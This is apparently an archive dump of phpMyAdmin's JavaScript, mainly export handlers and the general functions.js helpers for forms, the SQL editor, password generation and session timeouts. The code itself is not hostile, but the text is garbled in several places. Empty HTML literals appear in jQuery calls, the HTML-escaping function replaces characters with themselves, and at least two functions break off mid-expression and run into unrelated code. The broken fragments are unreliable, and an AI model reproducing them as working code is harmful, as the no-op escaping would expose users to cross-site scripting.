= CommonParams.get('table'); if (table) { var option = $(''); option.text(table); option.attr('value', table); $('#table_alias_select').append(option).val(table).trigger('change'); } else { var database = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database }; var url = 'index.php?route=/tables'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.tables, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#table_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); $('#table_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var database = $('#db_alias_select').val(); var table = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database, 'table': table }; var url = 'index.php?route=/columns'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.columns, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#column_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); }); $('#column_alias_select').on('change', function () { Export.aliasToggleRow($(this)); }); $('#db_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); Export.addAlias(Messages.strAliasDatabase, db, 'aliases[' + db + '][alias]', $('#db_alias_name').val()); $('#db_alias_name').val(''); }); $('#table_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); Export.addAlias(Messages.strAliasTable, db + '.' + table, 'aliases[' + db + '][tables][' + table + '][alias]', $('#table_alias_name').val()); $('#table_alias_name').val(''); }); $('#column_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); var column = $('#column_alias_select').val(); Export.addAlias(Messages.strAliasColumn, db + '.' + table + '.' + column, 'aliases[' + db + '][tables][' + table + '][colums][' + column + ']', $('#column_alias_name').val()); $('#column_alias_name').val(''); }); var setSelectOptions = function (doCheck) { Functions.setSelectOptions('dump', 'db_select[]', doCheck); }; $('#db_select_all').on('click', function (e) { e.preventDefault(); setSelectOptions(true); }); $('#db_unselect_all').on('click', function (e) { e.preventDefault(); setSelectOptions(false); }); $('#buttonGo').on('click', function () { var timeLimit = parseInt($(this).attr('data-exec-time-limit')); // If the time limit set is zero, // then time out won't occur so no need to check for time out. if (timeLimit > 0) { Export.checkTimeOut(timeLimit); } }); });dist/export_output.js000066600000000554151724472050011025 0ustar00AJAX.registerOnload('export_output.js', function () { $(document).on('keydown', function (e) { if ((e.which || e.keyCode) === 116) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); } }); $('.export_refresh_btn').on('click', function (e) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); }); });dist/functions.js000066600000441145151724472050010101 0ustar00/* global isStorageSupported */ // js/config.js /* global ChartType, ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global DatabaseStructure */ // js/database/structure.js /* global mysqlDocBuiltin, mysqlDocKeyword */ // js/doclinks.js /* global Indexes */ // js/indexes.js /* global firstDayOfCalendar, maxInputVars, mysqlDocTemplate, themeImagePath */ // templates/javascript/variables.twig /* global sprintf */ // js/vendor/sprintf.js /* global zxcvbnts */ // js/vendor/zxcvbn-ts.js /** * general function, usually for data manipulation pages * @test-module Functions */ var Functions = {}; /** * @var sqlBoxLocked lock for the sqlbox textarea in the querybox */ // eslint-disable-next-line no-unused-vars var sqlBoxLocked = false; /** * @var {array}, holds elements which content should only selected once */ var onlyOnceElements = []; /** * @var {number} ajaxMessageCount Number of AJAX messages shown since page load */ var ajaxMessageCount = 0; /** * @var codeMirrorEditor object containing CodeMirror editor of the query editor in SQL tab */ var codeMirrorEditor = false; /** * @var codeMirrorInlineEditor object containing CodeMirror editor of the inline query editor */ var codeMirrorInlineEditor = false; /** * @var {boolean} sqlAutoCompleteInProgress shows if Table/Column name autocomplete AJAX is in progress */ var sqlAutoCompleteInProgress = false; /** * @var sqlAutoComplete object containing list of columns in each table */ var sqlAutoComplete = false; /** * @var {string} sqlAutoCompleteDefaultTable string containing default table to autocomplete columns */ var sqlAutoCompleteDefaultTable = ''; /** * @var {array} centralColumnList array to hold the columns in central list per db. */ var centralColumnList = []; /** * @var {array} primaryIndexes array to hold 'Primary' index columns. */ // eslint-disable-next-line no-unused-vars var primaryIndexes = []; /** * @var {array} uniqueIndexes array to hold 'Unique' index columns. */ // eslint-disable-next-line no-unused-vars var uniqueIndexes = []; /** * @var {array} indexes array to hold 'Index' columns. */ // eslint-disable-next-line no-unused-vars var indexes = []; /** * @var {array} fulltextIndexes array to hold 'Fulltext' columns. */ // eslint-disable-next-line no-unused-vars var fulltextIndexes = []; /** * @var {array} spatialIndexes array to hold 'Spatial' columns. */ // eslint-disable-next-line no-unused-vars var spatialIndexes = []; /** * Make sure that ajax requests will not be cached * by appending a random variable to their parameters */ $.ajaxPrefilter(function (options, originalOptions) { var nocache = new Date().getTime() + '' + Math.floor(Math.random() * 1000000); if (typeof options.data === 'string') { options.data += '&_nocache=' + nocache + '&token=' + encodeURIComponent(CommonParams.get('token')); } else if (typeof options.data === 'object') { options.data = $.extend(originalOptions.data, { '_nocache': nocache, 'token': CommonParams.get('token') }); } }); /** * Adds a date/time picker to an element * * @param {object} $thisElement a jQuery object pointing to the element * @param {string} type * @param {object} options */ Functions.addDatepicker = function ($thisElement, type, options) { if (type !== 'date' && type !== 'time' && type !== 'datetime' && type !== 'timestamp') { return; } var showTimepicker = true; if (type === 'date') { showTimepicker = false; } // Getting the current Date and time var currentDateTime = new Date(); var defaultOptions = { timeInput: true, hour: currentDateTime.getHours(), minute: currentDateTime.getMinutes(), second: currentDateTime.getSeconds(), showOn: 'button', buttonImage: themeImagePath + 'b_calendar.png', buttonImageOnly: true, stepMinutes: 1, stepHours: 1, showSecond: true, showMillisec: true, showMicrosec: true, showTimepicker: showTimepicker, showButtonPanel: false, changeYear: true, dateFormat: 'yy-mm-dd', // yy means year with four digits timeFormat: 'HH:mm:ss.lc', constrainInput: false, altFieldTimeOnly: false, showAnim: '', beforeShow: function (input, inst) { // Remember that we came from the datepicker; this is used // in table/change.js by verificationsAfterFieldChange() $thisElement.data('comes_from', 'datepicker'); if ($(input).closest('.cEdit').length > 0) { setTimeout(function () { inst.dpDiv.css({ top: 0, left: 0, position: 'relative' }); }, 0); } setTimeout(function () { // Fix wrong timepicker z-index, doesn't work without timeout $('#ui-timepicker-div').css('z-index', $('#ui-datepicker-div').css('z-index')); // Integrate tooltip text into dialog var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.disable(); var $note = $('

    '); $note.text(tooltip.option('content')); $('div.ui-datepicker').append($note); } }, 0); }, onSelect: function () { $thisElement.data('datepicker').inline = true; }, onClose: function () { // The value is no more from the date picker $thisElement.data('comes_from', ''); if (typeof $thisElement.data('datepicker') !== 'undefined') { $thisElement.data('datepicker').inline = false; } var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.enable(); } } }; if (type === 'time') { $thisElement.timepicker($.extend(defaultOptions, options)); // Add a tip regarding entering MySQL allowed-values for TIME data-type Functions.tooltip($thisElement, 'input', Messages.strMysqlAllowedValuesTipTime); } else { $thisElement.datetimepicker($.extend(defaultOptions, options)); } }; /** * Add a date/time picker to each element that needs it * (only when jquery-ui-timepicker-addon.js is loaded) */ Functions.addDateTimePicker = function () { if ($.timepicker !== undefined) { $('input.timefield, input.datefield, input.datetimefield').each(function () { var decimals = $(this).parent().attr('data-decimals'); var type = $(this).parent().attr('data-type'); var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; var hourMax = 23; // check for decimal places of seconds if (decimals > 0 && type.indexOf('time') !== -1) { if (decimals > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; } } if (type === 'time') { hourMax = 99; } Functions.addDatepicker($(this), type, { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, hourMax: hourMax, firstDay: firstDayOfCalendar }); // Add a tip regarding entering MySQL allowed-values // for TIME and DATE data-type if ($(this).hasClass('timefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipTime); } else if ($(this).hasClass('datefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipDate); } }); } }; /** * Handle redirect and reload flags sent as part of AJAX requests * * @param data ajax response data */ Functions.handleRedirectAndReload = function (data) { if (parseInt(data.redirect_flag) === 1) { // add one more GET param to display session expiry msg if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else if (parseInt(data.reload_flag) === 1) { window.location.reload(); } }; /** * Creates an SQL editor which supports auto completing etc. * * @param $textarea jQuery object wrapping the textarea to be made the editor * @param options optional options for CodeMirror * @param {'vertical'|'horizontal'|'both'} resize optional resizing ('vertical', 'horizontal', 'both') * @param lintOptions additional options for lint * * @return {object|null} */ Functions.getSqlEditor = function ($textarea, options, resize, lintOptions) { var resizeType = resize; if ($textarea.length > 0 && typeof CodeMirror !== 'undefined') { // merge options for CodeMirror var defaults = { lineNumbers: true, matchBrackets: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true }; if (CodeMirror.sqlLint) { $.extend(defaults, { gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, 'lintOptions': lintOptions } }); } $.extend(true, defaults, options); // create CodeMirror editor var codemirrorEditor = CodeMirror.fromTextArea($textarea[0], defaults); // allow resizing if (!resizeType) { resizeType = 'vertical'; } var handles = ''; if (resizeType === 'vertical') { handles = 's'; } if (resizeType === 'both') { handles = 'all'; } if (resizeType === 'horizontal') { handles = 'e, w'; } $(codemirrorEditor.getWrapperElement()).css('resize', resizeType).resizable({ handles: handles, resize: function () { codemirrorEditor.setSize($(this).width(), $(this).height()); } }); // enable autocomplete codemirrorEditor.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); // page locking codemirrorEditor.on('change', function (e) { e.data = { value: 3, content: codemirrorEditor.isClean() }; AJAX.lockPageHandler(e); }); return codemirrorEditor; } return null; }; /** * Clear text selection */ Functions.clearSelection = function () { if (document.selection && document.selection.empty) { document.selection.empty(); } else if (window.getSelection) { var sel = window.getSelection(); if (sel.empty) { sel.empty(); } if (sel.removeAllRanges) { sel.removeAllRanges(); } } }; /** * Create a jQuery UI tooltip * * @param $elements jQuery object representing the elements * @param item the item * (see https://api.jqueryui.com/tooltip/#option-items) * @param myContent content of the tooltip * @param additionalOptions to override the default options * */ Functions.tooltip = function ($elements, item, myContent, additionalOptions) { if ($('#no_hint').length > 0) { return; } var defaultOptions = { content: myContent, items: item, tooltipClass: 'tooltip', track: true, show: false, hide: false }; $elements.uiTooltip($.extend(true, defaultOptions, additionalOptions)); }; /** * HTML escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeHtml = function (unsafe) { if (typeof unsafe !== 'undefined') { return unsafe.toString().replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"').replace(/'/g, '''); } else { return false; } }; /** * JavaScript escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeJsString = function (unsafe) { if (typeof unsafe !== 'undefined') { return unsafe.toString().replace('\x00', '').replace('\\', '\\\\').replace('\'', '\\\'').replace(''', '\\'').replace('"', '\\"').replace('"', '\\"').replace('\n', '\n').replace('\r', '\r').replace(/<\/script/gi, '} $defaultType */ Functions.hideShowDefaultValue = function ($defaultType) { if ($defaultType.val() === 'USER_DEFINED') { $defaultType.siblings('.default_value').show().trigger('focus'); } else { $defaultType.siblings('.default_value').hide(); if ($defaultType.val() === 'NULL') { var $nullCheckbox = $defaultType.closest('tr').find('.allow_null'); $nullCheckbox.prop('checked', true); } } }; /** * Hides/shows the input field for column expression based on whether * VIRTUAL/PERSISTENT is selected * * @param $virtuality virtuality dropdown */ Functions.hideShowExpression = function ($virtuality) { if ($virtuality.val() === '') { $virtuality.siblings('.expression').hide(); } else { $virtuality.siblings('.expression').show(); } }; /** * Show notices for ENUM columns; add/hide the default value * */ Functions.verifyColumnsProperties = function () { $('select.column_type').each(function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $('select.default_type').each(function () { Functions.hideShowDefaultValue($(this)); }); $('select.virtuality').each(function () { Functions.hideShowExpression($(this)); }); }; /** * Add a hidden field to the form to indicate that this will be an * Ajax request (only if this hidden field does not exist) * * @param {object} $form the form */ Functions.prepareForAjaxRequest = function ($form) { if (!$form.find('input:hidden').is('#ajax_request_hidden')) { $form.append(''); } }; Functions.checkPasswordStrength = function (value, meterObject, meterObjectLabel, username) { // List of words we don't want to appear in the password var customDict = ['phpmyadmin', 'mariadb', 'mysql', 'php', 'my', 'admin']; if (username !== null) { customDict.push(username); } zxcvbnts.core.zxcvbnOptions.setOptions({ dictionary: { userInputs: customDict } }); var zxcvbnObject = zxcvbnts.core.zxcvbn(value); var strength = zxcvbnObject.score; strength = parseInt(strength); meterObject.val(strength); switch (strength) { case 0: meterObjectLabel.html(Messages.strExtrWeak); break; case 1: meterObjectLabel.html(Messages.strVeryWeak); break; case 2: meterObjectLabel.html(Messages.strWeak); break; case 3: meterObjectLabel.html(Messages.strGood); break; case 4: meterObjectLabel.html(Messages.strStrong); } }; /** * Generate a new password and copy it to the password input areas * * @param {object} passwordForm the form that holds the password fields * * @return {boolean} always true */ Functions.suggestPassword = function (passwordForm) { // restrict the password to just letters and numbers to avoid problems: // "editors and viewers regard the password as multiple words and // things like double click no longer work" var pwchars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWYXZ@!_.*/()[]-'; var passwordlength = 16; // do we want that to be dynamic? no, keep it simple :) var passwd = passwordForm.generated_pw; // eslint-disable-next-line compat/compat var randomWords = new Int32Array(passwordlength); passwd.value = ''; var i; // First we're going to try to use a built-in CSPRNG // eslint-disable-next-line compat/compat if (window.crypto && window.crypto.getRandomValues) { // eslint-disable-next-line compat/compat window.crypto.getRandomValues(randomWords); } else if (window.msCrypto && window.msCrypto.getRandomValues) { // Because of course IE calls it msCrypto instead of being standard window.msCrypto.getRandomValues(randomWords); } else { // Fallback to Math.random for (i = 0; i < passwordlength; i++) { randomWords[i] = Math.floor(Math.random() * pwchars.length); } } for (i = 0; i < passwordlength; i++) { passwd.value += pwchars.charAt(Math.abs(randomWords[i]) % pwchars.length); } var $jQueryPasswordForm = $(passwordForm); passwordForm.elements.pma_pw.value = passwd.value; passwordForm.elements.pma_pw2.value = passwd.value; var meterObj = $jQueryPasswordForm.find('meter[name="pw_meter"]').first(); var meterObjLabel = $jQueryPasswordForm.find('span[name="pw_strength"]').first(); Functions.checkPasswordStrength(passwd.value, meterObj, meterObjLabel); return true; }; /** * for PhpMyAdmin\Display\ChangePassword and /user-password */ Functions.displayPasswordGenerateButton = function () { var generatePwdRow = $('').addClass('align-middle'); $('').html(Messages.strGeneratePassword).appendTo(generatePwdRow); var pwdCell = $('').appendTo(generatePwdRow); var pwdButton = $('').attr({ type: 'button', id: 'button_generate_password', value: Messages.strGenerate }).addClass('btn btn-secondary button').on('click', function () { Functions.suggestPassword(this.form); }); var pwdTextbox = $('').attr({ type: 'text', name: 'generated_pw', id: 'generated_pw' }); pwdCell.append(pwdButton).append(pwdTextbox); if (document.getElementById('button_generate_password') === null) { $('#tr_element_before_generate_password').parent().append(generatePwdRow); } var generatePwdDiv = $('
    ').addClass('item'); $('').attr({ for: 'button_generate_password' }).html(Messages.strGeneratePassword + ':').appendTo(generatePwdDiv); var optionsSpan = $('').addClass('options').appendTo(generatePwdDiv); pwdButton.clone(true).appendTo(optionsSpan); pwdTextbox.clone(true).appendTo(generatePwdDiv); if (document.getElementById('button_generate_password') === null) { $('#div_element_before_generate_password').parent().append(generatePwdDiv); } }; /** * selects the content of a given object, f.e. a textarea * * @param {object} element element of which the content will be selected * @param {any | true} lock variable which holds the lock for this element or true, if no lock exists * @param {boolean} onlyOnce boolean if true this is only done once f.e. only on first focus */ Functions.selectContent = function (element, lock, onlyOnce) { if (onlyOnce && onlyOnceElements[element.name]) { return; } onlyOnceElements[element.name] = true; if (lock) { return; } element.select(); }; /** * Displays a confirmation box before submitting a "DROP/DELETE/ALTER" query. * This function is called while clicking links * * @param {object} theLink the link * @param {object} theSqlQuery the sql query to submit * * @return {boolean} whether to run the query or not */ Functions.confirmLink = function (theLink, theSqlQuery) { // Confirmation is not required in the configuration file // or browser is Opera (crappy js implementation) if (Messages.strDoYouReally === '' || typeof window.opera !== 'undefined') { return true; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, theSqlQuery)); if (isConfirmed) { if (typeof theLink.href !== 'undefined') { theLink.href += CommonParams.get('arg_separator') + 'is_js_confirmed=1'; } else if (typeof theLink.form !== 'undefined') { theLink.form.action += '?is_js_confirmed=1'; } } return isConfirmed; }; /** * Confirms a "DROP/DELETE/ALTER" query before * submitting it if required. * This function is called by the 'Functions.checkSqlQuery()' js function. * * @param {object} theForm1 the form * @param {string} sqlQuery1 the sql query string * * @return {boolean} whether to run the query or not * * @see Functions.checkSqlQuery() */ Functions.confirmQuery = function (theForm1, sqlQuery1) { // Confirmation is not required in the configuration file if (Messages.strDoYouReally === '') { return true; } // Confirms a "DROP/DELETE/ALTER/TRUNCATE" statement // // TODO: find a way (if possible) to use the parser-analyser // for this kind of verification // For now, I just added a ^ to check for the statement at // beginning of expression var doConfirmRegExp0 = new RegExp('^\\s*DROP\\s+(IF EXISTS\\s+)?(TABLE|PROCEDURE)\\s', 'i'); var doConfirmRegExp1 = new RegExp('^\\s*ALTER\\s+TABLE\\s+((`[^`]+`)|([A-Za-z0-9_$]+))\\s+DROP\\s', 'i'); var doConfirmRegExp2 = new RegExp('^\\s*DELETE\\s+FROM\\s', 'i'); var doConfirmRegExp3 = new RegExp('^\\s*TRUNCATE\\s', 'i'); var doConfirmRegExp4 = new RegExp('^(?=.*UPDATE\\b)^((?!WHERE).)*$', 'i'); if (doConfirmRegExp0.test(sqlQuery1) || doConfirmRegExp1.test(sqlQuery1) || doConfirmRegExp2.test(sqlQuery1) || doConfirmRegExp3.test(sqlQuery1) || doConfirmRegExp4.test(sqlQuery1)) { var message; if (sqlQuery1.length > 100) { message = sqlQuery1.substr(0, 100) + '\n ...'; } else { message = sqlQuery1; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, message)); // statement is confirmed -> update the // "is_js_confirmed" form field so the confirm test won't be // run on the server side and allows to submit the form if (isConfirmed) { theForm1.elements.is_js_confirmed.value = 1; return true; } else { // statement is rejected -> do not submit the form window.focus(); return false; } // end if (handle confirm box result) } // end if (display confirm box) return true; }; /** * Displays an error message if the user submitted the sql query form with no * sql query, else checks for "DROP/DELETE/ALTER" statements * * @param {object} theForm the form * * @return {boolean} always false * * @see Functions.confirmQuery() */ Functions.checkSqlQuery = function (theForm) { // get the textarea element containing the query var sqlQuery; if (codeMirrorEditor) { codeMirrorEditor.save(); sqlQuery = codeMirrorEditor.getValue(); } else { sqlQuery = theForm.elements.sql_query.value; } var spaceRegExp = new RegExp('\\s+'); if (typeof theForm.elements.sql_file !== 'undefined' && theForm.elements.sql_file.value.replace(spaceRegExp, '') !== '') { return true; } if (typeof theForm.elements.id_bookmark !== 'undefined' && (theForm.elements.id_bookmark.value !== null || theForm.elements.id_bookmark.value !== '') && theForm.elements.id_bookmark.selectedIndex !== 0) { return true; } var result = false; // Checks for "DROP/DELETE/ALTER" statements if (sqlQuery.replace(spaceRegExp, '') !== '') { result = Functions.confirmQuery(theForm, sqlQuery); } else { alert(Messages.strFormEmpty); } if (codeMirrorEditor) { codeMirrorEditor.focus(); } else if (codeMirrorInlineEditor) { codeMirrorInlineEditor.focus(); } return result; }; /** * Check if a form's element is empty. * An element containing only spaces is also considered empty * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to put the focus on * * @return {boolean} whether the form field is empty or not */ Functions.emptyCheckTheField = function (theForm, theFieldName) { var theField = theForm.elements[theFieldName]; var spaceRegExp = new RegExp('\\s+'); return theField.value.replace(spaceRegExp, '') === ''; }; /** * Ensures a value submitted in a form is numeric and is in a range * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to check * @param {any} message * @param {number} minimum the minimum authorized value * @param {number} maximum the maximum authorized value * * @return {boolean} whether a valid number has been submitted or not */ Functions.checkFormElementInRange = function (theForm, theFieldName, message, minimum, maximum) { var theField = theForm.elements[theFieldName]; var val = parseInt(theField.value, 10); var min = 0; var max = Number.MAX_VALUE; if (typeof minimum !== 'undefined') { min = minimum; } if (typeof maximum !== 'undefined' && maximum !== null) { max = maximum; } if (isNaN(val)) { theField.select(); alert(Messages.strEnterValidNumber); theField.focus(); return false; } else if (val < min || val > max) { theField.select(); alert(Functions.sprintf(message, val)); theField.focus(); return false; } else { theField.value = val; } return true; }; Functions.checkTableEditForm = function (theForm, fieldsCnt) { // TODO: avoid sending a message if user just wants to add a line // on the form but has not completed at least one field name var atLeastOneField = 0; var i; var elm; var elm2; var elm3; var val; var id; for (i = 0; i < fieldsCnt; i++) { id = '#field_' + i + '_2'; elm = $(id); val = elm.val(); if (val === 'VARCHAR' || val === 'CHAR' || val === 'BIT' || val === 'VARBINARY' || val === 'BINARY') { elm2 = $('#field_' + i + '_3'); val = parseInt(elm2.val(), 10); elm3 = $('#field_' + i + '_1'); if (isNaN(val) && elm3.val() !== '') { elm2.select(); alert(Messages.strEnterValidLength); elm2.focus(); return false; } } if (atLeastOneField === 0) { id = 'field_' + i + '_1'; if (!Functions.emptyCheckTheField(theForm, id)) { atLeastOneField = 1; } } } if (atLeastOneField === 0) { var theField = theForm.elements.field_0_1; alert(Messages.strFormEmpty); theField.focus(); return false; } // at least this section is under jQuery var $input = $('input.textfield[name=\'table\']'); if ($input.val() === '') { alert(Messages.strFormEmpty); $input.trigger('focus'); return false; } return true; }; /** * True if last click is to check a row. */ var lastClickChecked = false; /** * Zero-based index of last clicked row. * Used to handle the shift + click event in the code above. */ var lastClickedRow = -1; /** * Zero-based index of last shift clicked row. */ var lastShiftClickedRow = -1; var idleSecondsCounter = 0; var incInterval; var updateTimeout; AJAX.registerTeardown('functions.js', function () { clearTimeout(updateTimeout); clearInterval(incInterval); $(document).off('mousemove'); }); AJAX.registerOnload('functions.js', function () { document.onclick = function () { idleSecondsCounter = 0; }; $(document).on('mousemove', function () { idleSecondsCounter = 0; }); document.onkeypress = function () { idleSecondsCounter = 0; }; function guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function SetIdleTime() { idleSecondsCounter++; } function UpdateIdleTime() { var href = 'index.php?route=/'; var guid = 'default'; if (isStorageSupported('sessionStorage')) { guid = window.sessionStorage.guid; } var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'guid': guid, 'access_time': idleSecondsCounter, 'check_timeout': 1 }; $.ajax({ type: 'POST', url: href, data: params, success: function (data) { if (data.success) { if (CommonParams.get('LoginCookieValidity') - idleSecondsCounter < 0) { /* There is other active window, let's reset counter */ idleSecondsCounter = 0; } var remaining = Math.min( /* Remaining login validity */ CommonParams.get('LoginCookieValidity') - idleSecondsCounter, /* Remaining time till session GC */ CommonParams.get('session_gc_maxlifetime')); var interval = 1000; if (remaining > 5) { // max value for setInterval() function interval = Math.min((remaining - 1) * 1000, Math.pow(2, 31) - 1); } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } else { // timeout occurred clearInterval(incInterval); if (isStorageSupported('sessionStorage')) { window.sessionStorage.clear(); } // append the login form on the page, disable all the forms which were not disabled already, close all the open jqueryui modal boxes if (!$('#modalOverlay').length) { $('fieldset').not(':disabled').attr('disabled', 'disabled').addClass('disabled_for_expiration'); $('body').append(data.error); $('.ui-dialog').each(function () { $('#' + $(this).attr('aria-describedby')).dialog('close'); }); $('#input_username').trigger('focus'); } else { CommonParams.set('token', data.new_token); $('input[name=token]').val(data.new_token); } idleSecondsCounter = 0; Functions.handleRedirectAndReload(data); } } }); } if (CommonParams.get('logged_in')) { incInterval = window.setInterval(SetIdleTime, 1000); var sessionTimeout = Math.min(CommonParams.get('LoginCookieValidity'), CommonParams.get('session_gc_maxlifetime')); if (isStorageSupported('sessionStorage')) { window.sessionStorage.setItem('guid', guid()); } var interval = (sessionTimeout - 5) * 1000; if (interval > Math.pow(2, 31) - 1) { // max value for setInterval() function interval = Math.pow(2, 31) - 1; } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'input:checkbox.checkall'); }); AJAX.registerOnload('functions.js', function () { /** * Row marking in horizontal mode (use "on" so that it works also for * next pages reached via AJAX); a tr may have the class noclick to remove * this behavior. */ $(document).on('click', 'input:checkbox.checkall', function (e) { var $this = $(this); var $tr = $this.closest('tr'); var $table = $this.closest('table'); if (!e.shiftKey || lastClickedRow === -1) { // usual click var $checkbox = $tr.find(':checkbox.checkall'); var checked = $this.prop('checked'); $checkbox.prop('checked', checked).trigger('change'); if (checked) { $tr.addClass('marked table-active'); } else { $tr.removeClass('marked table-active'); } lastClickChecked = checked; // remember the last clicked row lastClickedRow = lastClickChecked ? $table.find('tbody tr:not(.noclick)').index($tr) : -1; lastShiftClickedRow = -1; } else { // handle the shift click Functions.clearSelection(); var start; var end; // clear last shift click result if (lastShiftClickedRow >= 0) { if (lastShiftClickedRow >= lastClickedRow) { start = lastClickedRow; end = lastShiftClickedRow; } else { start = lastShiftClickedRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)').slice(start, end + 1).removeClass('marked table-active').find(':checkbox').prop('checked', false).trigger('change'); } // handle new shift click var currRow = $table.find('tbody tr:not(.noclick)').index($tr); if (currRow >= lastClickedRow) { start = lastClickedRow; end = currRow; } else { start = currRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)').slice(start, end + 1).addClass('marked table-active').find(':checkbox').prop('checked', true).trigger('change'); // remember the last shift clicked row lastShiftClickedRow = currRow; } }); Functions.addDateTimePicker(); /** * Add attribute to text boxes for iOS devices (based on bugID: 3508912) */ if (navigator.userAgent.match(/(iphone|ipod|ipad)/i)) { $('input[type=text]').attr('autocapitalize', 'off').attr('autocorrect', 'off'); } }); /** * Checks/unchecks all options of a '); } } else { if ($simulateDml.length) { $simulateDml.remove(); } } }; /** * Create quick sql statements. * * @param {'clear'|'format'|'saved'|'selectall'|'select'|'insert'|'update'|'delete'} queryType * */ Functions.insertQuery = function (queryType) { var table; if (queryType === 'clear') { Functions.setQuery(''); return; } else if (queryType === 'format') { if (codeMirrorEditor) { $('#querymessage').html(Messages.strFormatting + ' '); var params = { 'ajax_request': true, 'sql': codeMirrorEditor.getValue(), 'server': CommonParams.get('server') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/format', data: params, success: function (data) { if (data.success) { codeMirrorEditor.setValue(data.sql); } $('#querymessage').html(''); }, error: function () { $('#querymessage').html(''); } }); } return; } else if (queryType === 'saved') { var db = $('input[name="db"]').val(); table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } key = 'autoSavedSql_' + key; if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.setQuery(window.localStorage.getItem(key)); } else if (Cookies.get(key)) { Functions.setQuery(Cookies.get(key)); } else { Functions.ajaxShowMessage(Messages.strNoAutoSavedQuery); } return; } var query = ''; var myListBox = document.sqlform.dummy; table = document.sqlform.table.value; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var valDis = ''; var editDis = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; valDis += ','; editDis += ','; } columnsList += myListBox.options[i].value; valDis += '\'[value-' + NbSelect + ']\''; editDis += myListBox.options[i].value + '=\'[value-' + NbSelect + ']\''; } if (queryType === 'selectall') { query = 'SELECT * FROM `' + table + '` WHERE 1'; } else if (queryType === 'select') { query = 'SELECT ' + columnsList + ' FROM `' + table + '` WHERE 1'; } else if (queryType === 'insert') { query = 'INSERT INTO `' + table + '`(' + columnsList + ') VALUES (' + valDis + ')'; } else if (queryType === 'update') { query = 'UPDATE `' + table + '` SET ' + editDis + ' WHERE 1'; } else if (queryType === 'delete') { query = 'DELETE FROM `' + table + '` WHERE 0'; } Functions.setQuery(query); sqlBoxLocked = false; } }; /** * Inserts multiple fields. * */ Functions.insertValueQuery = function () { var myQuery = document.sqlform.sql_query; var myListBox = document.sqlform.dummy; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { if (myListBox.options[i].selected) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; } columnsList += myListBox.options[i].value; } } /* CodeMirror support */ if (codeMirrorEditor) { codeMirrorEditor.replaceSelection(columnsList); codeMirrorEditor.focus(); // IE support } else if (document.selection) { myQuery.focus(); var sel = document.selection.createRange(); sel.text = columnsList; // MOZILLA/NETSCAPE support } else if (document.sqlform.sql_query.selectionStart || document.sqlform.sql_query.selectionStart === '0') { var startPos = document.sqlform.sql_query.selectionStart; var endPos = document.sqlform.sql_query.selectionEnd; var SqlString = document.sqlform.sql_query.value; myQuery.value = SqlString.substring(0, startPos) + columnsList + SqlString.substring(endPos, SqlString.length); myQuery.focus(); } else { myQuery.value += columnsList; } // eslint-disable-next-line no-unused-vars sqlBoxLocked = false; } }; /** * Updates the input fields for the parameters based on the query */ Functions.updateQueryParameters = function () { if 